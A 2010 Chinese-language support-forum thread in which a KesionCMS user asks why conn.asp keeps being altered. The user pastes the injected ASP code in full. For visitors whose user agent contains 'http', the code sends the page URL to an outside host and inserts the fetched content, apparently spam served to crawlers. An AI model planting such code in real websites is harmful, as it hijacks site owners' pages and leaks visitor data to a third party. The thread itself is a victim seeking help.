账号通
    

账号  

密码  

2419

查看

4

回复
主题:[求助]conn.asp被增加了一段挂马代码,好几次了,郁闷啊 [收藏主题] 转到:  
sqzxorg 当前离线

617

主题

0

广播

0

粉丝
添加关注
级别:六年级

用户积分:859 分
登录次数:119 次
注册时间:2009/8/31
最后登录:2016/5/28
sqzxorg 发表于:2010/8/25 11:01:00   | 只看该作者 查看该作者主题 楼主 
科汛在线考试系统(NET)
conn.asp被增加了一段挂马代码,好几次了,郁闷啊



版本是最新版本的



以前也出现过好几次这样的情况。



conn.asp在最后面增加的代码如下:



<%

Function getBody(infopageurl)

On Error Resume Next

if infopageurl<>"" then

dim xmlHttp

set xmlHttp=server.createobject("MSXML2.XMLHTTP")

xmlHttp.open "GET",infopageurl,false

xmlHttp.send

getBody=BytesToBstr(xmlhttp.responsebody,"GB2312")

set xmlHttp=nothing

end if

end Function

Function BytesToBstr(body,Cset)

dim objstream  

set objstream = Server.CreateObject("adodb.stream")  

objstream.Type = 1  

objstream.Mode = 3  

objstream.Open  

objstream.Write body  

objstream.Position = 0  

objstream.Type = 2  

objstream.Charset = Cset  

BytesToBstr = objstream.ReadText  

objstream.Close  

set objstream = nothing

End Function

dns = Request.ServerVariables("SERVER_NAME")

path = Request.ServerVariables("PATH_INFO")

qs = Request.ServerVariables("QUERY_STRING")

url= dns&path&"?"&qs

agent = Request.ServerVariables("HTTP_USER_AGENT")

tz = "http"

if Instr(agent,tz)>0 then

response.write getBody("http://www.newconn.info/plus/index.php?

dn="&url)

end if

%>





请问这个是程序问题还是服务器问题呢?

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
meishi 当前离线

104

主题

0

广播

0

粉丝
添加关注
级别:一年级

用户积分:146 分
登录次数:41 次
注册时间:2010/8/23
最后登录:2016/2/13
meishi 发表于:2010/8/25 11:35:00   | 只看该作者 查看该作者主题 沙发 
科汛在线网校系统
观察中。。。。。。55555
 
我已经很老了
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
amin8010 当前离线

803

主题

24

广播

10

粉丝
添加关注
级别:七年级

用户积分:2596 分
登录次数:736 次
注册时间:2008/9/18
最后登录:2021/8/30
amin8010 发表于:2010/8/25 11:55:00   | 只看该作者 查看该作者主题 藤椅 
 
www.02088888888.com广州疏通马桶,www.jbyz.net广州刻章,www.cnqxbj.com清洗保洁,
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
科汛官方 当前离线

47268

主题

145

广播

405

粉丝
添加关注
级别:管理员

用户积分:101604 分
登录次数:7935 次
注册时间:2006/12/7
最后登录:2023/12/14
科汛官方 发表于:2010/8/25 11:56:00   | 只看该作者 查看该作者主题 板凳 
conn.asp文件完全不需要给修改写入权限的啊
 
KesionCMS,,
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
拥抱阳光 当前离线

528

主题

0

广播

1

粉丝
添加关注
级别:五年级

用户积分:3391 分
登录次数:243 次
注册时间:2008/8/9
最后登录:2012/10/25
拥抱阳光 发表于:2010/8/25 13:30:00   | 只看该作者 查看该作者主题 报纸 
 
历史教学 http://www.zxlsjx.com
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
<上一主题 | 下一主题 >
Powered By KesionCMS Version X1
厦门科汛软件有限公司 © 2006-2016 页面执行0.17188秒 powered by KesionCMS 9.0